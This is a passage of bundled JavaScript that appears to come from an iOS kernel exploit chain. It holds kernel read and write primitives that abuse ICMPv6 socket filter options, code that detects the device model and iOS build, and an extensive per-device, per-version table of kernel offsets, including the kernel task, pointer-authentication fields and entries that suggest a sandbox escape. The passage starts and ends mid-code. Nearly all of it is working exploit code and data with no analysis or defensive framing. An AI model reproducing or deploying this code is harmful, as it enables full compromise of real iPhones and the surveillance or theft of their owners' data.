{\n\t\t\t\tif (!this.#kread32Bytes(kwrite_dst_addr, this.#tmpWriteMem, EARLY_KRW_LENGTH))\n\t\t\t\t\treturn false;\n\t\t\t\tNative.callSymbol(\"memcpy\", this.#tmpWriteMem, kwrite_src_addr, write_size);\n\t\t\t\tkwrite_src_addr = this.#tmpWriteMem;\n\t\t\t}\n\t\n\t\t\tif (!this.#kwrite32Bytes(kwrite_dst_addr, kwrite_src_addr))\n\t\t\t\treturn false;\n\t\t\tremaining -= write_size;\n\t\t\twrite_offset += write_size;\n\t\t}\n\t\treturn true;\n\t}\n\n\t#kread32Bytes(kaddr, buffer, len) {\n\t\tconst tmpBuff = Native.mem + 0x1000n;\n\n\t\t// Set \"kaddr\" address\n\t\tlet buff = new BigUint64Array(4);\n\t\tbuff[0] = kaddr;\n\t\tNative.write(tmpBuff, buff.buffer);\n\t\tlet ret = Native.callSymbol(\"setsockopt\", this.#controlSocket, IPPROTO_ICMPV6, ICMP6_FILTER, tmpBuff, EARLY_KRW_LENGTH);\n\t\tif (ret != 0) {\n\t\t\tconsole.log(TAG, \"setsockopt: \" + ret);\n\t\t\treturn false;\n\t\t}\n\n\t\tbuff[0] = BigInt(len);\n\t\tNative.write(tmpBuff, buff.buffer);\n\t\tret = Native.callSymbol(\"getsockopt\", this.#rwSocket, IPPROTO_ICMPV6, ICMP6_FILTER, buffer, tmpBuff);\n\t\tif (ret != 0) {\n\t\t\tconsole.log(TAG, \"getsockopt failed reading \" + libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_1__[\"default\"].hex(kaddr));\n\t\t\treturn false;\n\t\t}\n\n\t\treturn true;\n\t}\n\n\t#kwrite32Bytes(kaddr, buffer) {\n\t\tconst tmpBuff = Native.mem + 0x1000n;\n\n\t\t// Set \"kaddr\" address\n\t\tlet buff = new BigUint64Array(4);\n\t\tbuff[0] = kaddr;\n\t\tNative.write(tmpBuff, buff.buffer);\n\t\tlet ret = Native.callSymbol(\"setsockopt\", this.#controlSocket, IPPROTO_ICMPV6, ICMP6_FILTER, tmpBuff, EARLY_KRW_LENGTH);\n\t\tif (ret != 0) {\n\t\t\tconsole.log(TAG, \"setsockopt: \" + ret);\n\t\t\treturn false;\n\t\t}\n\n\t\tret = Native.callSymbol(\"setsockopt\", this.#rwSocket, IPPROTO_ICMPV6, ICMP6_FILTER, buffer, EARLY_KRW_LENGTH);\n\t\tif (ret != 0) {\n\t\t\tconsole.log(TAG, \"setsockopt failed writing \" + libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_1__[\"default\"].hex(kaddr));\n\t\t\treturn false;\n\t\t}\n\n\t\treturn true;\n\t}\n\n}\n\n\n/***/ }),\n\n/***/ \"./src/libs/Driver/Offsets.js\":\n/*!************************************!*\\\n !*** ./src/libs/Driver/Offsets.js ***!\n \\************************************/\n/***/ ((__unused_webpack_module, __webpack_exports__, __webpack_require__) => {\n\n__webpack_require__.r(__webpack_exports__);\n/* harmony export */ __webpack_require__.d(__webpack_exports__, {\n/* harmony export */ \"default\": () => (/* binding */ Offsets)\n/* harmony export */ });\n/* harmony import */ var libs_Chain_OffsetsStruct__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! libs/Chain/OffsetsStruct */ \"./src/libs/Chain/OffsetsStruct.js\");\n/* harmony import */ var _OffsetsTable__WEBPACK_IMPORTED_MODULE_1__ = __webpack_require__(/*! ./OffsetsTable */ \"./src/libs/Driver/OffsetsTable.js\");\n\n\n\nconst TAG = \"OFFSETS\"\n\nclass Offsets\n{\n\tstatic getByDeviceAndVersion()\n\t{\n\t\tNative.callSymbol(\"uname\", Native.mem);\n\t\tconst sysname = Native.readString(Native.mem, 0x100);\n\t\tconst nodename = Native.readString(Native.mem + 0x100n, 0x100);\n\t\tconst release = Native.readString(Native.mem + 0x200n, 0x100);\n\t\tconst version = Native.readString(Native.mem + 0x300n, 0x100);\n\t\tconst machine = Native.readString(Native.mem + 0x400n, 0x100);\n\t\tconsole.log(TAG, `release: ${release} with machine: ${machine}`);\n\n\t\tconst buildVer = this.getBuildVersion();\n\t\tconsole.log(TAG, \"Build version: \" + buildVer);\n\n\t\tlet splittedVersion = release.split(\".\");\n\t\tlet xnuMajor = splittedVersion[0];\n\t\tlet xnuMinor = splittedVersion[1];\n\n\t\tlet splittedMachine = machine.split(\",\");\n\t\tlet deviceFamily = splittedMachine[0];\n\t\tlet deviceModel = splittedMachine[1];\n\n\t\tconsole.log(TAG, \"deviceFamily: \" + deviceFamily);\n\n\t\t// Ugly hack to support 17.7, 17.7.1 and 17.7.2\n\t\tif (buildVer) {\n\t\t\tif (buildVer == \"21H16\")\n\t\t\t\txnuMinor = 6.1;\n\t\t\telse if (buildVer == \"21H216\")\n\t\t\t\txnuMinor = 6.2;\n\t\t\telse if (buildVer == \"21H221\")\n\t\t\t\txnuMinor = 6.3;\n\t\t}\n\t\t// Get offsets per device family\n\t\tlet deviceOffsets = _OffsetsTable__WEBPACK_IMPORTED_MODULE_1__.offsets[deviceFamily];\n\t\tif (!deviceOffsets) {\n\t\t\tconsole.log(TAG, `Unsupported machine: ${machine}`);\n\t\t\treturn null;\n\t\t}\n\n\t\tlet familyOffsets = deviceOffsets[\"*\"];\n\t\tlet foundFamilyOffsets = this.#getOffsetsByVersion(familyOffsets, xnuMajor, xnuMinor);\n\n\t\tif (!foundFamilyOffsets)\n\t\t\treturn null;\n\n\t\t// Adjustments per device model\n\t\tlet modelOffsets = deviceOffsets[deviceModel];\n\t\tlet foundModelOffsets = null;\n\t\tif (modelOffsets)\n\t\t\tfoundModelOffsets = this.#getOffsetsByVersion(modelOffsets, xnuMajor, xnuMinor);\n\n\t\t// Merge family offsets and device offsets\n\t\tlet foundOffsets = new libs_Chain_OffsetsStruct__WEBPACK_IMPORTED_MODULE_0__[\"default\"]();\n\t\tObject.assign(foundOffsets, foundFamilyOffsets);\n\t\tif (foundModelOffsets)\n\t\t\tObject.assign(foundOffsets, foundModelOffsets);\n\n\t\tif ([\"iPhone15\", \"iPhone16\", \"iPhone17\"].includes(deviceFamily))\n\t\t\tfoundOffsets.T1SZ_BOOT = 17n;\n\t\telse\n\t\t\tfoundOffsets.T1SZ_BOOT = 25n;\n\n\t\tconsole.log(TAG, \"Offsets: \" + JSON.stringify(foundOffsets, (_,v) => typeof v === 'bigint' ? \"0x\"+v.toString(16) : v, 2));\n\n\t\treturn foundOffsets;\n\t}\n\n\tstatic #getOffsetsByVersion(offsets, xnuMajor, xnuMinor) {\n\t\tlet xnuMajorOffsets = 0;\n\t\tfor (let major in offsets) {\n\t\t\tif (xnuMajor < major)\n\t\t\t\tcontinue;\n\t\t\tif (xnuMajorOffsets < major)\n\t\t\t\txnuMajorOffsets = major;\n\t\t}\n\n\t\tif (!xnuMajorOffsets) {\n\t\t\tconsole.log(TAG, \"Unsupported XNU major: \" + xnuMajor);\n\t\t\treturn null;\n\t\t}\n\n\t\t//console.log(TAG, \"Matching XNU major: \" + xnuMajorOffsets);\n\t\txnuMajorOffsets = offsets[xnuMajorOffsets];\n\n\t\tlet foundOffsets = {};\n\t\tlet xnuMinorOffsets = -1;\n\t\tconst sortedMinors = Object.keys(xnuMajorOffsets).sort();\n\t\tfor (let minor of sortedMinors) {\n\t\t\t//console.log(TAG, `minor: ${minor}, xnuMinor: ${xnuMinor}`);\n\t\t\tif (minor > xnuMinor)\n\t\t\t\tbreak;\n\t\t\tif (xnuMinorOffsets < minor) {\n\t\t\t\txnuMinorOffsets = minor;\n\t\t\t\tObject.assign(foundOffsets, xnuMajorOffsets[minor]);\n\t\t\t}\n\t\t}\n\n\t\t//console.log(TAG, \"Matching XNU minor: \" + xnuMinorOffsets);\n\n\t\treturn foundOffsets;\n\t}\n\tstatic getBuildVersion() {\n\t\tconst CTL_KERN = 1;\n\t\tconst KERN_OSVERSION = 65;\n\n\t\tconst mib = new ArrayBuffer(4 * 2);\n\t\tconst mibView = new DataView(mib);\n\t\tmibView.setInt32(0, CTL_KERN, true);\n\t\tmibView.setInt32(4, KERN_OSVERSION, true);\n\n\t\tconst mibAddr = Native.mem;\n\t\tconst resultAddr = Native.mem + 0x100n;\n\t\tconst lengthAddr = Native.mem + 0x200n;\n\n\t\tNative.write(Native.mem, mib);\n\n\t\tlet ret = Native.callSymbol(\"sysctl\", mibAddr, 2, resultAddr, lengthAddr, null, 0);\n\t\tif (ret != 0) {\n\t\t\tconsole.log(TAG, \"Unable to get iOS build version\");\n\t\t\treturn null;\n\t\t}\n\n\t\tconst length = Native.read32(lengthAddr);\n\t\tconst buildVer = Native.readString(resultAddr, length);\n\t\treturn buildVer;\n\t}\n}\n\n\n/***/ }),\n\n/***/ \"./src/libs/Driver/OffsetsTable.js\":\n/*!*****************************************!*\\\n !*** ./src/libs/Driver/OffsetsTable.js ***!\n \\*****************************************/\n/***/ ((__unused_webpack_module, __webpack_exports__, __webpack_require__) => {\n\n__webpack_require__.r(__webpack_exports__);\n/* harmony export */ __webpack_require__.d(__webpack_exports__, {\n/* harmony export */ offsets: () => (/* binding */ offsets)\n/* harmony export */ });\nconst offsets = {\n\t// iPhone XS\n\t// iPhone XS Max\n\t// iPhone XS Max Global\n\t// iPhone XR\n\t\"iPhone11\": {\n\t\t\"*\": {\n\t\t\t23: {\n\t\t\t\t0: {\n\t\t\t\t\tpComm: 0x568n,\n\t\t\t\t\texcGuard: 0x5bcn,\n\t\t\t\t\tkstackptr: 0xe8n,\n\t\t\t\t\tropPid: 0x150n,\n\t\t\t\t\tjopPid: 0x158n,\n\t\t\t\t\tguardExcCode: 0x308n,\n\t\t\t\t\ttaskThreads: 0x348n,\n\t\t\t\t\ttro: 0x358n,\n\t\t\t\t\tast: 0x37cn,\n\t\t\t\t\tmutexData: 0x380n,\n\t\t\t\t\tctid: 0x408n,\n\t\t\t\t\ttroTask: 0x20n\n\t\t\t\t},\n\t\t\t\t3: {\n\t\t\t\t\tkernelTask: 0x918210n,\n\t\t\t\t\tguardExcCode: 0x318n,\n\t\t\t\t\ttaskThreads: 0x358n,\n\t\t\t\t\ttro: 0x368n,\n\t\t\t\t\tast: 0x38cn,\n\t\t\t\t\tmutexData: 0x398n,\n\t\t\t\t\tctid: 0x418n\n\t\t\t\t},\n\t\t\t\t4: {\n\t\t\t\t\tkernelTask: 0x91c638n,\n\t\t\t\t\tpComm: 0x56cn,\n\t\t\t\t\ttroTask: 0x28n,\n\t\t\t\t\tguardExcCode: 0x320n,\n\t\t\t\t\ttaskThreads: 0x360n,\n\t\t\t\t\ttro: 0x370n,\n\t\t\t\t\tast: 0x394n,\n\t\t\t\t\tmutexData: 0x3a0n,\n\t\t\t\t\tctid: 0x420n,\n\t\t\t\t\tprocRO: 0x388n\n\t\t\t\t},\n\t\t\t\t5: {\n\t\t\t\t\tkernelTask: 0x920a90n\n\t\t\t\t},\n\t\t\t\t6: {\n\t\t\t\t\tkernelTask: 0x9209f0n\n\t\t\t\t},\n\t\t\t\t6.1: {\n\t\t\t\t\tkernelTask: 0x920a40n\n\t\t\t\t}\n\t\t\t},\n\t\t\t24: {\n\t\t\t\t0: {\n\t\t\t\t\tkernelTask: 0x9f1548n,\n\t\t\t\t\tpComm: 0x56cn,\n\t\t\t\t\tprocRO: 0x3a0n,\n\t\t\t\t\tipcSpace: 0x318n,\n\t\t\t\t\ttroTask: 0x28n,\n\t\t\t\t\texcGuard: 0x5dcn,\n\t\t\t\t\tkstackptr: 0xf0n,\n\t\t\t\t\tropPid: 0x158n,\n\t\t\t\t\tjopPid: 0x160n,\n\t\t\t\t\tguardExcCode: 0x320n,\n\t\t\t\t\ttaskThreads: 0x370n,\n\t\t\t\t\ttro: 0x378n,\n\t\t\t\t\tast: 0x39cn,\n\t\t\t\t\tmutexData: 0x3a8n,\n\t\t\t\t\tctid: 0x428n\n\t\t\t\t},\n\t\t\t\t1: {\n\t\t\t\t\tkernelTask: 0x9f1560n,\n\t\t\t\t\ttaskThreads: 0x368n,\n\t\t\t\t\ttro: 0x370n,\n\t\t\t\t\tast: 0x394n,\n\t\t\t\t\tmutexData: 0x3a0n,\n\t\t\t\t\tctid: 0x420n\n\t\t\t\t},\n\t\t\t\t2: {\n\t\t\t\t\tkernelTask: 0x9fd988n,\n\t\t\t\t},\n\t\t\t\t3: {\n\t\t\t\t\tkernelTask: 0x9f5988n\n\t\t\t\t},\n\t\t\t\t4: {\n\t\t\t\t\tkernelTask: 0xa62b50n,\n\t\t\t\t\tprocRO: 0x3c0n,\n\t\t\t\t\texcGuard: 0x5fcn,\n\t\t\t\t\ttaskThreads: 0x370n,\n\t\t\t\t\ttro: 0x378n,\n\t\t\t\t\tast: 0x39cn,\n\t\t\t\t\tmutexData: 0x3a8n,\n\t\t\t\t\tctid: 0x428n\n\t\t\t\t},\n\t\t\t\t5: {\n\t\t\t\t\tkernelTask: 0xa6ac38n\n\t\t\t\t},\n\t\t\t\t6: {\n\t\t\t\t\tkernelTask: 0xa6ad48n,\n \t\t\t\t\tguardExcCode: 0x328n,\n\t\t\t\t\ttaskThreads: 0x378n,\n \t\t\t\t\ttro: 0x380n,\n \t\t\t\t\tast: 0x3a4n,\n \t\t\t\t\tmutexData: 0x3b0n,\n \t\t\t\t\tctid: 0x430n,\n \t\t\t\t\tmigLock: 0x36971f0n,\n \t\t\t\t\tmigSbxMsg: 0x3697210n,\n \t\t\t\t\tmigKernelStackLR: 0x2f7c1a0n,\n\t\t\t\t}\n\t\t\t}\n\t\t},\n\t\t\"8\": {\n\t\t\t23: {\n\t\t\t\t4: {\n\t\t\t\t\tkernelTask: 0x8fc638n\n\t\t\t\t},\n\t\t\t\t5: {\n\t\t\t\t\tkernelTask: 0x900a90n\n\t\t\t\t},\n\t\t\t\t6: {\n\t\t\t\t\tkernelTask: 0x9009f0n\n\t\t\t\t},\n\t\t\t\t6.1: {\n\t\t\t\t\tkernelTask: 0x900a40n\n\t\t\t\t}\n\t\t\t},\n\t\t\t24: {\n\t\t\t\t0: {\n\t\t\t\t\tkernelTask: 0x9d1548n\n\t\t\t\t},\n\t\t\t\t1: {\n\t\t\t\t\tkernelTask: 0x9d1560n,\n\t\t\t\t},\n\t\t\t\t2: {\n\t\t\t\t\tkernelTask: 0x9d9988n\n\t\t\t\t},\n\t\t\t\t3: {\n\t\t\t\t\tkernelTask: 0x9d1988n\n\t\t\t\t},\n\t\t\t\t4: {\n\t\t\t\t\tkernelTask: 0xa42b50n\n\t\t\t\t},\n\t\t\t\t5: {\n\t\t\t\t\tkernelTask: 0xad6b78n,\n\t\t\t\t\tmigLock: 0x38d74e8n,\n\t\t\t\t\tmigSbxMsg: 0x38d7508n,\n\t\t\t\t\tmigKernelStackLR: 0x31b19e4n\n\t\t\t\t},\n\t\t\t\t6: {\n\t\t\t\t\tkernelTask: 0xa4ad48n,\n\t\t\t\t\tmigLock: 0x352e1f0n,\n\t\t\t\t\tmigSbxMsg: 0x352e210n,\n\t\t\t\t\tmigKernelStackLR: 0x2e5ba20n,\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t},\n\n\t// iPhone 11\n\t// iPhone 11 Pro\n\t// iPhone 11 Pro Max\n\t// iPhone SE 2\n\t\"iPhone12\": {\n\t\t\"*\": {\n\t\t\t23: {\n\t\t\t\t0: {\n\t\t\t\t\tpComm: 0x568n,\n\t\t\t\t\texcGuard: 0x5bcn,\n\t\t\t\t\tkstackptr: 0xf0n,\n\t\t\t\t\tropPid: 0x158n,\n\t\t\t\t\tjopPid: 0x160n,\n\t\t\t\t\tguardExcCode: 0x328n,\n\t\t\t\t\ttaskThreads: 0x368n,\n\t\t\t\t\ttro: 0x378n,\n\t\t\t\t\tast: 0x39cn,\n\t\t\t\t\tmutexData: 0x3a8n,\n\t\t\t\t\tctid: 0x428n,\n\t\t\t\t\ttroTask: 0x20n\n\t\t\t\t},\n\t\t\t\t3: {\n\t\t\t\t\tkernelTask: 0x96c178n,\n\t\t\t\t},\n\t\t\t\t4: {\n\t\t\t\t\tkernelTask: 0x970588n,\n\t\t\t\t\tpComm: 0x56cn,\n\t\t\t\t\ttroTask: 0x28n,\n\t\t\t\t\tguardExcCode: 0x330n,\n\t\t\t\t\ttaskThreads: 0x370n,\n\t\t\t\t\ttro: 0x380n,\n\t\t\t\t\tast: 0x3a4n,\n\t\t\t\t\tmutexData: 0x3b0n,\n\t\t\t\t\tctid: 0x430n,\n\t\t\t\t\tprocRO: 0x388n\n\t\t\t\t},\n\t\t\t\t5: {\n\t\t\t\t\tkernelTask: 0x9749d8n\n\t\t\t\t},\n\t\t\t\t6: {\n\t\t\t\t\tkernelTask: 0x974938n\n\t\t\t\t},\n\t\t\t\t6.1: {\n\t\t\t\t\tkernelTask: 0x974988n\n\t\t\t\t}\n\t\t\t},\n\t\t\t24: {\n\t\t\t\t0: {\n\t\t\t\t\tkernelTask: 0xa49488n,\n\t\t\t\t\tpComm: 0x56cn,\n\t\t\t\t\tprocRO: 0x3a0n,\n\t\t\t\t\tipcSpace: 0x318n,\n\t\t\t\t\ttroTask: 0x28n,\n\t\t\t\t\texcGuard: 0x5dcn,\n\t\t\t\t\tkstackptr: 0xf8n,\n\t\t\t\t\tropPid: 0x160n,\n\t\t\t\t\tjopPid: 0x168n,\n\t\t\t\t\tguardExcCode: 0x330n,\n\t\t\t\t\ttaskThreads: 0x380n,\n\t\t\t\t\ttro: 0x388n,\n\t\t\t\t\tast: 0x3acn,\n\t\t\t\t\tmutexData: 0x3b8n,\n\t\t\t\t\tctid: 0x438n\n\t\t\t\t},\n\t\t\t\t1: {\n\t\t\t\t\tkernelTask: 0xa494a0n,\n\t\t\t\t\ttaskThreads: 0x378n,\n\t\t\t\t\ttro: 0x380n,\n\t\t\t\t\tast: 0x3a4n,\n\t\t\t\t\tmutexData: 0x3b0n,\n\t\t\t\t\tctid: 0x430n\n\t\t\t\t},\n\t\t\t\t2: {\n\t\t\t\t\tkernelTask: 0xa518c8n\n\t\t\t\t},\n\t\t\t\t3: {\n\t\t\t\t\tkernelTask: 0xa498c8n\n\t\t\t\t},\n\t\t\t\t4: {\n\t\t\t\t\tkernelTask: 0xacea90n,\n\t\t\t\t\tprocRO: 0x3c0n,\n\t\t\t\t\texcGuard: 0x5fcn,\n\t\t\t\t\ttaskThreads: 0x380n,\n\t\t\t\t\ttro: 0x388n,\n\t\t\t\t\tast: 0x3acn,\n\t\t\t\t\tmutexData: 0x3b8n,\n\t\t\t\t\tctid: 0x438n\n\t\t\t\t},\n\t\t\t\t5: {\n\t\t\t\t\tkernelTask: 0xad6b78n\n\t\t\t\t},\n\t\t\t\t6: {\n\t\t\t\t\tkernelTask: 0xad6c88n,\n \t\t\t\t\tguardExcCode: 0x338n,\n\t\t\t\t\ttaskThreads: 0x388n,\n \t\t\t\t\ttro: 0x390n,\n \t\t\t\t\tast: 0x3b4n,\n \t\t\t\t\tmutexData: 0x3c0n,\n \t\t\t\t\tctid: 0x440n,\n\t\t\t\t\tmigLock: 0x38e34e8n,\n\t\t\t\t\tmigSbxMsg: 0x38e3508n,\n\t\t\t\t\tmigKernelStackLR: 0x31ba7a0n,\n\t\t\t\t}\n\t\t\t}\n\t\t},\n\t\t\"3\": {\n\t\t\t23: {\n\t\t\t\t4: {\n\t\t\t\t\tkernelTask: 0x974588n\n\t\t\t\t},\n\t\t\t\t5: {\n\t\t\t\t\tkernelTask: 0x9789d8n\n\t\t\t\t},\n\t\t\t\t6: {\n\t\t\t\t\tkernelTask: 0x974938n\n\t\t\t\t},\n\t\t\t\t6.1: {\n\t\t\t\t\tkernelTask: 0x974988n\n\t\t\t\t}\n\t\t\t},\n\t\t\t24: {\n\t\t\t\t0: {\n\t\t\t\t\tkernelTask: 0xa49488n\n\t\t\t\t},\n\t\t\t\t1: {\n\t\t\t\t\tkernelTask: 0xa4d4a0n\n\t\t\t\t},\n\t\t\t\t2: {\n\t\t\t\t\tkernelTask: 0xa558c8n\n\t\t\t\t},\n\t\t\t\t3: {\n\t\t\t\t\tkernelTask: 0xa4d8c8n\n\t\t\t\t},\n\t\t\t\t4: {\n\t\t\t\t\tkernelTask: 0xacea90n\n\t\t\t\t},\n\t\t\t\t5: {\n\t\t\t\t\tkernelTask: 0xad6b78n\n\t\t\t\t},\n\t\t\t\t6: {\n\t\t\t\t\tkernelTask: 0xad6c88n,\n\t\t\t\t\tmigLock: 0x38e7468n,\n\t\t\t\t\tmigSbxMsg: 0x38e7488n,\n\t\t\t\t\tmigKernelStackLR: 0x31bf5a0n,\n\t\t\t\t}\n\t\t\t}\n\t\t},\n\t\t\"5\": {\n\t\t\t23: {\n\t\t\t\t4: {\n\t\t\t\t\tkernelTask: 0x974588n\n\t\t\t\t},\n\t\t\t\t5: {\n\t\t\t\t\tkernelTask: 0x9789d8n\n\t\t\t\t},\n\t\t\t\t6: {\n\t\t\t\t\tkernelTask: 0x974938n\n\t\t\t\t},\n\t\t\t\t6.1: {\n\t\t\t\t\tkernelTask: 0x974988n\n\t\t\t\t}\n\t\t\t},\n\t\t\t24: {\n\t\t\t\t0: {\n\t\t\t\t\tkernelTask: 0xa49488n\n\t\t\t\t},\n\t\t\t\t1: {\n\t\t\t\t\tkernelTask: 0xa4d4a0n\n\t\t\t\t},\n\t\t\t\t2: {\n\t\t\t\t\tkernelTask: 0xa558c8n\n\t\t\t\t},\n\t\t\t\t3: {\n\t\t\t\t\tkernelTask: 0xa4d8c8n\n\t\t\t\t},\n\t\t\t\t4: {\n\t\t\t\t\tkernelTask: 0xacea90n\n\t\t\t\t},\n\t\t\t\t5: {\n\t\t\t\t\tkernelTask: 0xad6b78n\n\t\t\t\t},\n\t\t\t\t6: {\n\t\t\t\t\tkernelTask: 0xad6c88n,\n\t\t\t\t\tmigLock: 0x38e7468n,\n\t\t\t\t\tmigSbxMsg: 0x38e7488n,\n\t\t\t\t\tmigKernelStackLR: 0x31bf5a0n,\n\t\t\t\t}\n\t\t\t}\n\t\t},\n\t\t\"8\": {\n\t\t\t23: {\n\t\t\t\t4: {\n\t\t\t\t\tkernelTask: 0x960588n\n\t\t\t\t},\n\t\t\t\t5: {\n\t\t\t\t\tkernelTask: 0x9649d8n\n\t\t\t\t},\n\t\t\t\t6: {\n\t\t\t\t\tkernelTask: 0x964938n\n\t\t\t\t},\n\t\t\t\t6.1: {\n\t\t\t\t\tkernelTask: 0x964988n\n\t\t\t\t}\n\t\t\t},\n\t\t\t24: {\n\t\t\t\t0: {\n\t\t\t\t\tkernelTask: 0xa35488n\n\t\t\t\t},\n\t\t\t\t1: {\n\t\t\t\t\tkernelTask: 0xa354a0n\n\t\t\t\t},\n\t\t\t\t2: {\n\t\t\t\t\tkernelTask: 0xa3d8c8n\n\t\t\t\t},\n\t\t\t\t3: {\n\t\t\t\t\tkernelTask: 0xa358c8n\n\t\t\t\t},\n\t\t\t\t4: {\n\t\t\t\t\tkernelTask: 0xab6a90n\n\t\t\t\t},\n\t\t\t\t5: {\n\t\t\t\t\tkernelTask: 0xabeb78n\n\t\t\t\t},\n\t\t\t\t6: {\n\t\t\t\t\tkernelTask: 0xac2c88n,\n\t\t\t\t\tmigLock: 0x387a8e8n,\n\t\t\t\t\tmigSbxMsg: 0x387a908n,\n\t\t\t\t\tmigKernelStackLR: 0x3156f20n,\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t},\n\n\t// iPhone 12\n\t// iPhone 12 Mini\n\t// iPhone 12 Pro\n\t// iPhone 12 Pro Max\n\t\"iPhone13\": {\n\t\t\"*\": {\n\t\t\t23: {\n\t\t\t\t0: {\n\t\t\t\t\tpComm: 0x568n,\n\t\t\t\t\texcGuard: 0x5bcn,\n\t\t\t\t\tkstackptr: 0xf0n,\n\t\t\t\t\tropPid: 0x158n,\n\t\t\t\t\tjopPid: 0x160n,\n\t\t\t\t\tguardExcCode: 0x318n,\n\t\t\t\t\ttaskThreads: 0x358n,\n\t\t\t\t\ttro: 0x368n,\n\t\t\t\t\tast: 0x38cn,\n\t\t\t\t\tmutexData: 0x390n,\n\t\t\t\t\tctid: 0x418n,\n\t\t\t\t\ttroTask: 0x20n\n\t\t\t\t},\n\t\t\t\t3: {\n\t\t\t\t\tkernelTask: 0x94c2d0n,\n\t\t\t\t\tguardExcCode: 0x328n,\n\t\t\t\t\ttaskThreads: 0x368n,\n\t\t\t\t\ttro: 0x378n,\n\t\t\t\t\tast: 0x39cn,\n\t\t\t\t\tmutexData: 0x3a8n,\n\t\t\t\t\tctid: 0x428n\n\t\t\t\t},\n\t\t\t\t4: {\n\t\t\t\t\tkernelTask: 0x9546e0n,\n\t\t\t\t\tpComm: 0x56cn,\n\t\t\t\t\ttroTask: 0x28n,\n\t\t\t\t\tguardExcCode: 0x330n,\n\t\t\t\t\ttaskThreads: 0x370n,\n\t\t\t\t\ttro: 0x380n,\n\t\t\t\t\tast: 0x3a4n,\n\t\t\t\t\tmutexData: 0x3b0n,\n\t\t\t\t\tctid: 0x430n,\n\t\t\t\t\tprocRO: 0x388n\n\t\t\t\t},\n\t\t\t\t5: {\n\t\t\t\t\tkernelTask: 0x954b30n\n\t\t\t\t},\n\t\t\t\t6: {\n\t\t\t\t\tkernelTask: 0x954a90n\n\t\t\t\t},\n\t\t\t\t6.1: {\n\t\t\t\t\tkernelTask: 0x954ae0n\n\t\t\t\t}\n\t\t\t},\n\t\t\t24: {\n\t\t\t\t0: {\n\t\t\t\t\tkernelTask: 0xa295e0n,\n\t\t\t\t\tpComm: 0x56cn,\n\t\t\t\t\tprocRO: 0x3a0n,\n\t\t\t\t\tipcSpace: 0x318n,\n\t\t\t\t\ttroTask: 0x28n,\n\t\t\t\t\texcGuard: 0x5dcn,\n\t\t\t\t\tkstackptr: 0xf8n,\n\t\t\t\t\tropPid: 0x160n,\n\t\t\t\t\tjopPid: 0x168n,\n\t\t\t\t\tguardExcCode: 0x330n,\n\t\t\t\t\ttaskThreads: 0x380n,\n\t\t\t\t\ttro: 0x388n,\n\t\t\t\t\tast: 0x3acn,\n\t\t\t\t\tmutexData: 0x3b8n,\n\t\t\t\t\tctid: 0x438n\n\t\t\t\t},\n\t\t\t\t1: {\n\t\t\t\t\tkernelTask: 0xa2d5f8n,\n\t\t\t\t\ttaskThreads: 0x378n,\n\t\t\t\t\ttro: 0x380n,\n\t\t\t\t\tast: 0x3a4n,\n\t\t\t\t\tmutexData: 0x3b0n,\n\t\t\t\t\tctid: 0x430n\n\t\t\t\t},\n\t\t\t\t2: {\n\t\t\t\t\tkernelTask: 0xa35a20n\n\t\t\t\t},\n\t\t\t\t3: {\n\t\t\t\t\tkernelTask: 0xa2da20n\n\t\t\t\t},\n\t\t\t\t4: {\n\t\t\t\t\tkernelTask: 0xa9ebe8n,\n\t\t\t\t\tprocRO: 0x3c0n,\n\t\t\t\t\texcGuard: 0x5fcn,\n\t\t\t\t\ttaskThreads: 0x380n,\n\t\t\t\t\ttro: 0x388n,\n\t\t\t\t\tast: 0x3acn,\n\t\t\t\t\tmutexData: 0x3b8n,\n\t\t\t\t\tctid: 0x438n,\n\t\t\t\t\tmigLock: 0x37b8b80n,\n\t\t\t\t\tmigSbxMsg: 0x37b8ba0n,\n\t\t\t\t\tmigKernelStackLR: 0x3190fa0n\n\t\t\t\t},\n\t\t\t\t5: {\n\t\t\t\t\tkernelTask: 0xaa6cd0n,\n\t\t\t\t\tmigLock: 0x37d4c90n,\n\t\t\t\t\tmigSbxMsg: 0x37d4cb0n,\n\t\t\t\t\tmigKernelStackLR: 0x31acce4n\n\t\t\t\t},\n\t\t\t\t6: {\n\t\t\t\t\tkernelTask: 0xaaade0n,\n\t\t\t\t\tguardExcCode: 0x338n,\n\t\t\t\t\ttaskThreads: 0x388n,\n\t\t\t\t\ttro: 0x390n,\n\t\t\t\t\tast: 0x3b4n,\n\t\t\t\t\tmutexData: 0x3c0n,\n\t\t\t\t\tctid: 0x440n,\n\t\t\t\t\tmigLock: 0x37dcc90n,\n\t\t\t\t\tmigSbxMsg: 0x37dccb0n,\n\t\t\t\t\tmigKernelStackLR: 0x31b5b60n,\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t},\n\n\t// iPhone 13\n\t// iPhone 13 Mini\n\t// iPhone 13 Pro\n\t// iPhone 13 Pro Max\n\t// iPhone SE 3\n\t// iPhone 14\n\t// iPhone 14 Plus\n\t\"iPhone14\": {\n\t\t\"*\": {\n\t\t\t23: {\n\t\t\t\t0: {\n\t\t\t\t\tpComm: 0x568n,\n\t\t\t\t\texcGuard: 0x5d4n,\n\t\t\t\t\tkstackptr: 0xf0n,\n\t\t\t\t\tropPid: 0x160n,\n\t\t\t\t\tjopPid: 0x168n,\n\t\t\t\t\tguardExcCode: 0x330n,\n\t\t\t\t\ttaskThreads: 0x370n,\n\t\t\t\t\ttro: 0x380n,\n\t\t\t\t\tast: 0x3a4n,\n\t\t\t\t\tmutexData: 0x3b0n,\n\t\t\t\t\tctid: 0x430n,\n\t\t\t\t\ttroTask: 0x20n\n\t\t\t\t},\n\t\t\t\t3: {\n\t\t\t\t\tkernelTask: 0x918ee0n,\n\t\t\t\t},\n\t\t\t\t4: {\n\t\t\t\t\tkernelTask: 0x91d318n,\n\t\t\t\t\tpComm: 0x56cn,\n\t\t\t\t\ttroTask: 0x28n,\n\t\t\t\t\tguardExcCode: 0x338n,\n\t\t\t\t\ttaskThreads: 0x378n,\n\t\t\t\t\ttro: 0x388n,\n\t\t\t\t\tast: 0x3acn,\n\t\t\t\t\tmutexData: 0x3b8n,\n\t\t\t\t\tctid: 0x438n\n\t\t\t\t},\n\t\t\t\t5: {\n\t\t\t\t\tkernelTask: 0x925770n\n\t\t\t\t},\n\t\t\t\t6: {\n\t\t\t\t\tkernelTask: 0x9256d0n\n\t\t\t\t},\n\t\t\t\t6.1: {\n\t\t\t\t\tkernelTask: 